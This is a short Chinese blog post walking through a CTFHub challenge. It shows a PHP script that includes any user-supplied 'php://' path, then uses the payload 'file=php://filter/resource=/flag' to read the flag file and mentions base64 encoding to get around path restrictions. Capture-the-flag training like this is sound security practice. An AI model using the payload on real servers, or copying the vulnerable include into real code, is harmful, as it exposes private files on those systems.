CTFHUB 读取源代码

<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
flag in <code>/flag</code>

无法使用input协议,可能是限制了

不过告诉了我们flag的位置

使用php://filter 协议

file=php://filter/resource=/flag

就能得到flag

不过看大佬微博

在有些情况下会对绝对路径进行限制

需要通过提取出flag的base64编码之类的进行绕过

 

参考大佬博客:https://blog.csdn.net/qq_41497476/article/details/107619911

                         https://blog.csdn.net/helen1994/article/details/112651688

posted @ 2021-03-08 23:14  zap162  阅读(68)  评论(0)    收藏  举报